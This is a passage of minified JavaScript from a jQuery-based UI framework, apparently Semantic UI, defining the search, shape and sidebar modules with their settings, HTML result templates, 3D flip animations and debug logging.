i||o?(g.maxResults>0&&(i?"standard"==g.type&&m.error(x.maxResults):t[b.results]=t[b.results].slice(0,g.maxResults)),e.isFunction(n)?a=n(t,b):m.error(x.noTemplate,!1)):g.showNoResults&&(a=m.displayMessage(x.noResults,"empty")),g.onResults.call(F,t),a},displayMessage:function(e,t){return t=t||"standard",m.debug("Displaying message",e,t),m.addResults(g.templates.message(e,t)),g.templates.message(e,t)},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:F,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;l=!1,clearTimeout(m.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),r.length>1&&(t+=" ("+r.length+")"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=O;return n=n||f,o=F||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(O===i&&m.initialize(),m.invoke(u)):(O!==i&&O.invoke("destroy"),m.initialize())}),a!==i?a:this},e.fn.search.settings={name:"Search",namespace:"search",silent:!1,debug:!1,verbose:!1,performance:!0,type:"standard",minCharacters:1,selectFirstResult:!1,apiSettings:!1,source:!1,searchFields:["title","description"],displayField:"",searchFullText:!0,automatic:!0,hideDelay:0,searchDelay:200,maxResults:7,cache:!0,showNoResults:!0,transition:"scale",duration:200,easing:"easeOutExpo",onSelect:!1,onResultsAdd:!1,onSearchQuery:function(e){},onResults:function(e){},onResultsOpen:function(){},onResultsClose:function(){},className:{animating:"animating",active:"active",empty:"empty",focus:"focus",hidden:"hidden",loading:"loading",results:"results",pressed:"down"},error:{source:"Cannot search. No source used, and Semantic API module was not included",noResults:"Your search returned no results",logging:"Error in debug logging, exiting.",noEndpoint:"No search endpoint was specified",noTemplate:"A valid template name was not specified.",serverError:"There was an issue querying the server.",maxResults:"Results must be an array to use maxResults setting",method:"The method you called is not defined."},metadata:{cache:"cache",results:"results",result:"result"},regExp:{escape:/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,beginsWith:"(?:s|^)"},fields:{categories:"results",categoryName:"name",categoryResults:"results",description:"description",image:"image",price:"price",results:"results",title:"title",url:"url",action:"action",actionText:"text",actionURL:"url"},selector:{prompt:".prompt",searchButton:".search.button",results:".results",message:".results > .message",category:".category",result:".result",title:".title, .name"},templates:{escape:function(e){var t=/[&<>"'`]/g,n=/[&<>"'`]/,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},o=function(e){return i[e]};return n.test(e)?e.replace(t,o):e},message:function(e,t){var n="";return e!==i&&t!==i&&(n+='<div class="message '+t+'">',n+="empty"==t?'<div class="header">No Results</div class="header"><div class="description">'+e+'</div class="description">':' <div class="description">'+e+"</div>",n+="</div>"),n},category:function(t,n){var o="";e.fn.search.settings.templates.escape;return t[n.categoryResults]!==i&&(e.each(t[n.categoryResults],function(t,a){a[n.results]!==i&&a.results.length>0&&(o+='<div class="category">',a[n.categoryName]!==i&&(o+='<div class="name">'+a[n.categoryName]+"</div>"),e.each(a.results,function(e,t){o+=t[n.url]?'<a class="result" href="'+t[n.url]+'">':'<a class="result">',t[n.image]!==i&&(o+='<div class="image"> <img src="'+t[n.image]+'"></div>'),o+='<div class="content">',t[n.price]!==i&&(o+='<div class="price">'+t[n.price]+"</div>"),t[n.title]!==i&&(o+='<div class="title">'+t[n.title]+"</div>"),t[n.description]!==i&&(o+='<div class="description">'+t[n.description]+"</div>"),o+="</div>",o+="</a>"}),o+="</div>")}),t[n.action]&&(o+='<a href="'+t[n.action][n.actionURL]+'" class="action">'+t[n.action][n.actionText]+"</a>"),o)},standard:function(t,n){var o="";return t[n.results]!==i&&(e.each(t[n.results],function(e,t){o+=t[n.url]?'<a class="result" href="'+t[n.url]+'">':'<a class="result">',t[n.image]!==i&&(o+='<div class="image"> <img src="'+t[n.image]+'"></div>'),o+='<div class="content">',t[n.price]!==i&&(o+='<div class="price">'+t[n.price]+"</div>"),t[n.title]!==i&&(o+='<div class="title">'+t[n.title]+"</div>"),t[n.description]!==i&&(o+='<div class="description">'+t[n.description]+"</div>"),o+="</div>",o+="</a>"}),t[n.action]&&(o+='<a href="'+t[n.action][n.actionURL]+'" class="action">'+t[n.action][n.actionText]+"</a>"),o)}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.shape=function(o){var a,r=e(this),s=(e("body"),(new Date).getTime()),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1),f=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var t,m,g,p=r.selector||"",h=e.isPlainObject(o)?e.extend(!0,{},e.fn.shape.settings,o):e.extend({},e.fn.shape.settings),v=h.namespace,b=h.selector,y=h.error,x=h.className,C="."+v,w="module-"+v,k=e(this),S=k.find(b.sides),T=k.find(b.side),A=!1,R=this,E=k.data(w);g={initialize:function(){g.verbose("Initializing module for",R),g.set.defaultSide(),g.instantiate()},instantiate:function(){g.verbose("Storing instance of module",g),E=g,k.data(w,E)},destroy:function(){g.verbose("Destroying previous module for",R),k.removeData(w).off(C)},refresh:function(){g.verbose("Refreshing selector cache for",R),k=e(R),S=e(this).find(b.shape),T=e(this).find(b.side)},repaint:function(){g.verbose("Forcing repaint event");var e=S[0]||n.createElement("div");e.offsetWidth},animate:function(e,n){g.verbose("Animating box with properties",e),n=n||function(e){g.verbose("Executing animation callback"),e!==i&&e.stopPropagation(),g.reset(),g.set.active()},h.beforeChange.call(m[0]),g.get.transitionEvent()?(g.verbose("Starting CSS animation"),k.addClass(x.animating),S.css(e).one(g.get.transitionEvent(),n),g.set.duration(h.duration),f(function(){k.addClass(x.animating),t.addClass(x.hidden)})):n()},queue:function(e){g.debug("Queueing animation of",e),S.one(g.get.transitionEvent(),function(){g.debug("Executing queued animation"),setTimeout(function(){k.shape(e)},0)})},reset:function(){g.verbose("Animating states reset"),k.removeClass(x.animating).attr("style","").removeAttr("style"),S.attr("style","").removeAttr("style"),T.attr("style","").removeAttr("style").removeClass(x.hidden),m.removeClass(x.animating).attr("style","").removeAttr("style")},is:{complete:function(){return T.filter("."+x.active)[0]==m[0]},animating:function(){return k.hasClass(x.animating)}},set:{defaultSide:function(){t=k.find("."+h.className.active),m=t.next(b.side).length>0?t.next(b.side):k.find(b.side).first(),A=!1,g.verbose("Active side set to",t),g.verbose("Next side set to",m)},duration:function(e){e=e||h.duration,e="number"==typeof e?e+"ms":e,g.verbose("Setting animation duration",e),(h.duration||0===h.duration)&&S.add(T).css({"-webkit-transition-duration":e,"-moz-transition-duration":e,"-ms-transition-duration":e,"-o-transition-duration":e,"transition-duration":e})},currentStageSize:function(){var e=k.find("."+h.className.active),t=e.outerWidth(!0),n=e.outerHeight(!0);k.css({width:t,height:n})},stageSize:function(){var e=k.clone().addClass(x.loading),t=e.find("."+h.className.active),n=A?e.find(b.side).eq(A):t.next(b.side).length>0?t.next(b.side):e.find(b.side).first(),i="next"==h.width?n.outerWidth(!0):"initial"==h.width?k.width():h.width,o="next"==h.height?n.outerHeight(!0):"initial"==h.height?k.height():h.height;t.removeClass(x.active),n.addClass(x.active),e.insertAfter(k),e.remove(),"auto"!=h.width&&(k.css("width",i+h.jitter),g.verbose("Specifying width during animation",i)),"auto"!=h.height&&(k.css("height",o+h.jitter),g.verbose("Specifying height during animation",o))},nextSide:function(e){A=e,m=T.filter(e),A=T.index(m),0===m.length&&(g.set.defaultSide(),g.error(y.side)),g.verbose("Next side manually set to",m)},active:function(){g.verbose("Setting new side to active",m),T.removeClass(x.active),m.addClass(x.active),h.onChange.call(m[0]),g.set.defaultSide()}},flip:{up:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip up");else{g.debug("Flipping up",m);var e=g.get.transform.up();g.set.stageSize(),g.stage.above(),g.animate(e)}},down:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip down");else{g.debug("Flipping down",m);var e=g.get.transform.down();g.set.stageSize(),g.stage.below(),g.animate(e)}},left:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip left");else{g.debug("Flipping left",m);var e=g.get.transform.left();g.set.stageSize(),g.stage.left(),g.animate(e)}},right:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip right");else{g.debug("Flipping right",m);var e=g.get.transform.right();g.set.stageSize(),g.stage.right(),g.animate(e)}},over:function(){return!g.is.complete()||g.is.animating()||h.allowRepeats?void(g.is.animating()?g.queue("flip over"):(g.debug("Flipping over",m),g.set.stageSize(),g.stage.behind(),g.animate(g.get.transform.over()))):void g.debug("Side already visible",m)},back:function(){return!g.is.complete()||g.is.animating()||h.allowRepeats?void(g.is.animating()?g.queue("flip back"):(g.debug("Flipping back",m),g.set.stageSize(),g.stage.behind(),g.animate(g.get.transform.back()))):void g.debug("Side already visible",m)}},get:{transform:{up:function(){var e={y:-((t.outerHeight(!0)-m.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(-90deg)"}},down:function(){var e={y:-((t.outerHeight(!0)-m.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(90deg)"}},left:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(90deg)"}},right:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(-90deg)"}},over:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(180deg)"}},back:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(-180deg)"}}},transitionEvent:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]},nextSide:function(){return t.next(b.side).length>0?t.next(b.side):k.find(b.side).first()}},stage:{above:function(){var e={origin:(t.outerHeight(!0)-m.outerHeight(!0))/2,depth:{active:m.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};g.verbose("Setting the initial animation position as above",m,e),S.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),m.addClass(x.animating).css({top:e.origin+"px",transform:"rotateX(90deg) translateZ("+e.depth.next+"px)"})},below:function(){var e={origin:(t.outerHeight(!0)-m.outerHeight(!0))/2,depth:{active:m.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};g.verbose("Setting the initial animation position as below",m,e),S.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),m.addClass(x.animating).css({top:e.origin+"px",transform:"rotateX(-90deg) translateZ("+e.depth.next+"px)"})},left:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as left",m,n),S.css({transform:"translateZ(-"+n.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+n.depth.active+"px)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(-90deg) translateZ("+n.depth.next+"px)"})},right:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as left",m,n),S.css({transform:"translateZ(-"+n.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+n.depth.active+"px)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(90deg) translateZ("+n.depth.next+"px)"})},behind:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as behind",m,n),t.css({transform:"rotateY(0deg)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(-180deg)"})}},setting:function(t,n){if(g.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];e.isPlainObject(h[t])?e.extend(!0,h[t],n):h[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];g[t]=n}},debug:function(){!h.silent&&h.debug&&(h.performance?g.performance.log(arguments):(g.debug=Function.prototype.bind.call(console.info,console,h.name+":"),g.debug.apply(console,arguments)))},verbose:function(){!h.silent&&h.verbose&&h.debug&&(h.performance?g.performance.log(arguments):(g.verbose=Function.prototype.bind.call(console.info,console,h.name+":"),g.verbose.apply(console,arguments)))},error:function(){h.silent||(g.error=Function.prototype.bind.call(console.error,console,h.name+":"),g.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;h.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:R,"Execution Time":n})),clearTimeout(g.performance.timer),g.performance.timer=setTimeout(g.performance.display,500)},display:function(){var t=h.name+":",n=0;s=!1,clearTimeout(g.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",p&&(t+=" '"+p+"'"),r.length>1&&(t+=" ("+r.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,o){var r,s,l,c=E;return n=n||d,o=R||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},u?(E===i&&g.initialize(),g.invoke(c)):(E!==i&&E.invoke("destroy"),g.initialize())}),a!==i?a:this},e.fn.shape.settings={name:"Shape",silent:!1,debug:!1,verbose:!1,jitter:0,performance:!0,namespace:"shape",width:"initial",height:"initial",beforeChange:function(){},onChange:function(){},allowRepeats:!1,duration:!1,error:{side:"You tried to switch to a side that does not exist.",method:"The method you called is not defined"},className:{animating:"animating",hidden:"hidden",loading:"loading",active:"active"},selector:{sides:".sides",side:".side"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.sidebar=function(o){var a,r=e(this),s=e(t),l=e(n),c=e("html"),u=e("head"),d=r.selector||"",f=(new Date).getTime(),m=[],g=arguments[0],p="string"==typeof g,h=[].slice.call(arguments,1),v=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var r,b,y,x,C,w,k=e.isPlainObject(o)?e.extend(!0,{},e.fn.sidebar.settings,o):e.extend({},e.fn.sidebar.settings),S=k.selector,T=k.className,A=k.namespace,R=k.regExp,E=k.error,P="."+A,F="module-"+A,O=e(this),D=e(k.context),q=O.children(S.sidebar),j=D.children(S.fixed),z=D.children(S.pusher),M=this,I=O.data(F);w={initialize:function(){w.debug("Initializing sidebar",o),w.create.id(),C=w.get.transitionEvent(),w.is.ios()&&w.set.ios(),k.delaySetup?v(w.setup.layout):w.setup.layout(),v(function(){w.setup.cache()}),w.instantiate()},instantiate:function(){w.verbose("Storing instance of module",w),I=w,O.data(F,w)},create:{id:function(){y=(Math.random().toString(16)+"000000000").substr(2,8),b="."+y,w.verbose("Creating unique id for element",y)}},destroy:function(){w.verbose("Destroying previous module for",O),O.off(P).removeData(F),w.is.ios()&&w.remove.ios(),D.off(b),s.off(b),l.off(b)},event:{clickaway:function(e){var t=z.find(e.target).length>0||z.is(e.target),n=D.is(e.target);t&&(w.verbose("User clicked on dimmed page"),w.hide()),n&&(w.verbose("User clicked on dimmable context (scaled out page)"),w.hide())},touch:function(e){},containScroll:function(e){M.scrollTop<=0&&(M.scrollTop=1),M.scrollTop+M.offsetHeight>=M.scrollHeight&&(M.scrollTop=M.scrollHeight-M.offsetHeight-1)},scroll:function(t){0===e(t.target).closest(S.sidebar).length&&t.preventDefault()}},bind:{clickaway:function(){w.verbose("Adding clickaway events to context",D),k.closable&&D.on("click"+b,w.event.clickaway).on("touchend"+b,w.event.clickaway)},scrollLock:function(){k.scrollLock&&(w.debug("Disabling page scroll"),s.on("DOMMouseScroll"+b,w.event.scroll)),w.verbose("Adding events to contain sidebar scroll"),l.on("touchmove"+b,w.event.touch),O.on("scroll"+P,w.event.containScroll)}},unbind:{clickaway:function(){w.verbose("Removing clickaway events from context",D),D.off(b)},scrollLock:function(){w.verbose("Removing scroll lock from page"),l.off(b),s.off(b),O.off("scroll"+P)}},add:{inlineCSS:function(){var t,n=w.cache.width||O.outerWidth(),i=w.cache.height||O.outerHeight(),o=w.is.rtl(),a=w.get.direction(),s={left:n,right:-n,top:i,bottom:-i};o&&(w.verbose("RTL detected, flipping widths"),s.left=-n,s.right=n),t="<style>","left"===a||"right"===a?(w.debug("Adding CSS rules for animation distance",n),t+=" .ui.visible."+a+".sidebar ~ .fixed, .ui.visible."+a+".sidebar ~ .pusher { -webkit-transform: translate3d("+s[a]+"px, 0, 0); transform: translate3d("+s[a]+"px, 0, 0); }"):"top"!==a&&"bottom"!=a||(t+=" .ui.visible."+a+".sidebar ~ .fixed, .ui.visible."+a+".sidebar ~ .pusher { -webkit-transform: translate3d(0, "+s[a]+"px, 0); transform: translate3d(0, "+s[a]+"px, 0); }"),w.is.ie()&&("left"===a||"right"===a?(w.debug("Adding CSS rules for animation distance",n),t+=" body.pushable > .ui.visible."+a+".sidebar ~ .pusher:after { -webkit-transform: translate3d("+s[a]+"px, 0, 0); transform: translate3d("+s[a]+"px, 0, 0); }"):"top"!==a&&"bottom"!=a||(t+=" body.pushable > .ui.visible."+a+".sidebar ~ .pusher:after { -webkit-transform: translate3d(0, "+s[a]+"px, 0); transform: translate3d(0, "+s[a]+"px, 0); }"),t+=" body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after, body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after { -webkit-transform: translate3d(0px, 0, 0); transform: translate3d(0px, 0, 0); }"),t+="</style>",r=e(t).appendTo(u),w.debug("Adding sizing css to head",r)}},refresh:function(){w.verbose("Refreshing selector cache"),D=e(k.context),q=D.children(S.sidebar),z=D.children(S.pusher),j=D.children(S.fixed),w.clear.cache()},refreshSidebars:function(){w.verbose("Refreshing other sidebars"),q=D.children(S.sidebar)},repaint:function(){w.verbose("Forcing repaint event"),M.style.display="none";M.offsetHeight;M.scrollTop=M.scrollTop,M.style.display=""},setup:{cache:function(){ w.cache={width:O.outerWidth(),height:O.outerHeight(),rtl:"rtl"==O.css("direction")}},layout:function(){0===D.children(S.pusher).length&&(w.debug("Adding wrapper element for sidebar"),w.error(E.pusher),z=e('<div class="pusher" />'),D.children().not(S.omitted).not(q).wrapAll(z),w.refresh()),0!==O.nextAll(S.pusher).length&&O.nextAll(S.pusher)[0]===z[0]||(w.debug("Moved sidebar to correct parent element"),w.error(E.movedSidebar,M),O.detach().prependTo(D),w.refresh()),w.clear.cache(),w.set.pushable(),w.set.direction()}},attachEvents:function(t,n){var i=e(t);n=e.isFunction(w[n])?w[n]:w.toggle,i.length>0?(w.debug("Attaching sidebar events to element",t,n),i.on("click"+P,n)):w.error(E.notFound,t)},show:function(t){if(t=e.isFunction(t)?t:function(){},w.is.hidden()){if(w.refreshSidebars(),k.overlay&&(w.error(E.overlay),k.transition="overlay"),w.refresh(),w.othersActive())if(w.debug("Other sidebars currently visible"),k.exclusive){if("overlay"!=k.transition)return void w.hideOthers(w.show);w.hideOthers()}else k.transition="overlay";w.pushPage(function(){t.call(M),k.onShow.call(M)}),k.onChange.call(M),k.onVisible.call(M)}else w.debug("Sidebar is already visible")},hide:function(t){t=e.isFunction(t)?t:function(){},(w.is.visible()||w.is.animating())&&(w.debug("Hiding sidebar",t),w.refreshSidebars(),w.pullPage(function(){t.call(M),k.onHidden.call(M)}),k.onChange.call(M),k.onHide.call(M))},othersAnimating:function(){return q.not(O).filter("."+T.animating).length>0},othersVisible:function(){return q.not(O).filter("."+T.visible).length>0},othersActive:function(){return w.othersVisible()||w.othersAnimating()},hideOthers:function(e){var t=q.not(O).filter("."+T.visible),n=t.length,i=0;e=e||function(){},t.sidebar("hide",function(){i++,i==n&&e()})},toggle:function(){w.verbose("Determining toggled direction"),w.is.hidden()?w.show():w.hide()},pushPage:function(t){var n,i,o,a=w.get.transition(),r="overlay"===a||w.othersActive()?O:z;t=e.isFunction(t)?t:function(){},"scale down"==k.transition&&w.scrollToTop(),w.set.transition(a),w.repaint(),n=function(){w.bind.clickaway(),w.add.inlineCSS(),w.set.animating(),w.set.visible()},i=function(){w.set.dimmed()},o=function(e){e.target==r[0]&&(r.off(C+b,o),w.remove.animating(),w.bind.scrollLock(),t.call(M))},r.off(C+b),r.on(C+b,o),v(n),k.dimPage&&!w.othersVisible()&&v(i)},pullPage:function(t){var n,i,o=w.get.transition(),a="overlay"==o||w.othersActive()?O:z;t=e.isFunction(t)?t:function(){},w.verbose("Removing context push state",w.get.direction()),w.unbind.clickaway(),w.unbind.scrollLock(),n=function(){w.set.transition(o),w.set.animating(),w.remove.visible(),k.dimPage&&!w.othersVisible()&&z.removeClass(T.dimmed)},i=function(e){e.target==a[0]&&(a.off(C+b,i),w.remove.animating(),w.remove.transition(),w.remove.inlineCSS(),("scale down"==o||k.returnScroll&&w.is.mobile())&&w.scrollBack(),t.call(M))},a.off(C+b),a.on(C+b,i),v(n)},scrollToTop:function(){w.verbose("Scrolling to top of page to avoid animation issues"),x=e(t).scrollTop(),O.scrollTop(0),t.scrollTo(0,0)},scrollBack:function(){w.verbose("Scrolling back to original page position"),t.scrollTo(0,x)},clear:{cache:function(){w.verbose("Clearing cached dimensions"),w.cache={}}},set:{ios:function(){c.addClass(T.ios)},pushed:function(){D.addClass(T.pushed)},pushable:function(){D.addClass(T.pushable)},dimmed:function(){z.addClass(T.dimmed)},active:function(){O.addClass(T.active)},animating:function(){O.addClass(T.animating)},transition:function(e){e=e||w.get.transition(),O.addClass(e)},direction:function(e){e=e||w.get.direction(),O.addClass(T[e])},visible:function(){O.addClass(T.visible)},overlay:function(){O.addClass(T.overlay)}},remove:{inlineCSS:function(){w.debug("Removing inline css styles",r),r&&r.length>0&&r.remove()},ios:function(){c.removeClass(T.ios)},pushed:function(){D.removeClass(T.pushed)},pushable:function(){D.removeClass(T.pushable)},active:function(){O.removeClass(T.active)},animating:function(){O.removeClass(T.animating)},transition:function(e){e=e||w.get.transition(),O.removeClass(e)},direction:function(e){e=e||w.get.direction(),O.removeClass(T[e])},visible:function(){O.removeClass(T.visible)},overlay:function(){O.removeClass(T.overlay)}},get:{direction:function(){return O.hasClass(T.top)?T.top:O.hasClass(T.right)?T.right:O.hasClass(T.bottom)?T.bottom:T.left},transition:function(){var e,t=w.get.direction();return e=w.is.mobile()?"auto"==k.mobileTransition?k.defaultTransition.mobile[t]:k.mobileTransition:"auto"==k.transition?k.defaultTransition.computer[t]:k.transition,w.verbose("Determined transition",e),e},transitionEvent:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]}},is:{ie:function(){var e=!t.ActiveXObject&&"ActiveXObject"in t,n="ActiveXObject"in t;return e||n},ios:function(){var e=navigator.userAgent,t=e.match(R.ios),n=e.match(R.mobileChrome);return!(!t||n)&&(w.verbose("Browser was found to be iOS",e),!0)},mobile:function(){var e=navigator.userAgent,t=e.match(R.mobile);return t?(w.verbose("Browser was found to be mobile",e),!0):(w.verbose("Browser is not mobile, using regular transition",e),!1)},hidden:function(){return!w.is.visible()},visible:function(){return O.hasClass(T.visible)},open:function(){return w.is.visible()},closed:function(){return w.is.hidden()},vertical:function(){return O.hasClass(T.top)},animating:function(){return D.hasClass(T.animating)},rtl:function(){return w.cache.rtl===i&&(w.cache.rtl="rtl"==O.css("direction")),w.cache.rtl}},setting:function(t,n){if(w.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,k,t);else{if(n===i)return k[t];e.isPlainObject(k[t])?e.extend(!0,k[t],n):k[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,w,t);else{if(n===i)return w[t];w[t]=n}},debug:function(){!k.silent&&k.debug&&(k.performance?w.performance.log(arguments):(w.debug=Function.prototype.bind.call(console.info,console,k.name+":"),w.debug.apply(console,arguments)))},verbose:function(){!k.silent&&k.verbose&&k.debug&&(k.performance?w.performance.log(arguments):(w.verbose=Function.prototype.bind.call(console.info,console,k.name+":"),w.verbose.apply(console,arguments)))},error:function(){k.silent||(w.error=Function.prototype.bind.call(console.error,console,k.name+":"),w.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;k.performance&&(t=(new Date).getTime(),i=f||t,n=t-i,f=t,m.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:M,"Execution Time":n})),clearTimeout(w.performance.timer),w.performance.timer=setTimeout(w.performance.display,500)},display:function(){var t=k.name+":",n=0;f=!1,clearTimeout(w.performance.timer),e.each(m,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",d&&(t+=" '"+d+"'"),(console.group!==i||console.table!==i)&&m.length>0&&(console.groupCollapsed(t),console.table?console.table(m):e.each(m,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),m=[]}},invoke:function(t,n,o){var r,s,l,c=I;return n=n||h,o=M||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(w.error(E.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},p?(I===i&&w.initialize(),w.invoke(g)):(I!==i&&w.invoke("destroy"),w.initialize())}),a!==i?a:this},e.fn.sidebar.settings={name:"Sidebar",namespace:"sidebar",silent:!1,debug:!1,verbose:!1,performance:!0,transition:"auto",mobileTransition:"auto",defaultTransition:{computer:{left:"uncover",right:"uncover",top:"overlay",bottom:"overlay"},mobile:{left:"uncover",right:"uncover",top:"overlay",bottom:"overlay"}},context:"body",exclusive:!1,closable:!0,dimPage:!0,scrollLock:!1,returnScroll:!1,delaySetup:!1,duration:500,onChange:function(){},onShow:function(){},onHide:function(){},onHidden:function(){},onVisible:function(){},className:{active:"active",animating:"animating",dimmed:"dimmed",ios:"ios",pushable:"pushable",pushed:"pushed",right:"right",top:"top",left:"left",bottom:"bottom",visible:"visible"},selector:{fixed:".fixed",omitted:"script, link, style, .ui.modal, .ui.dimmer, .ui.nag, 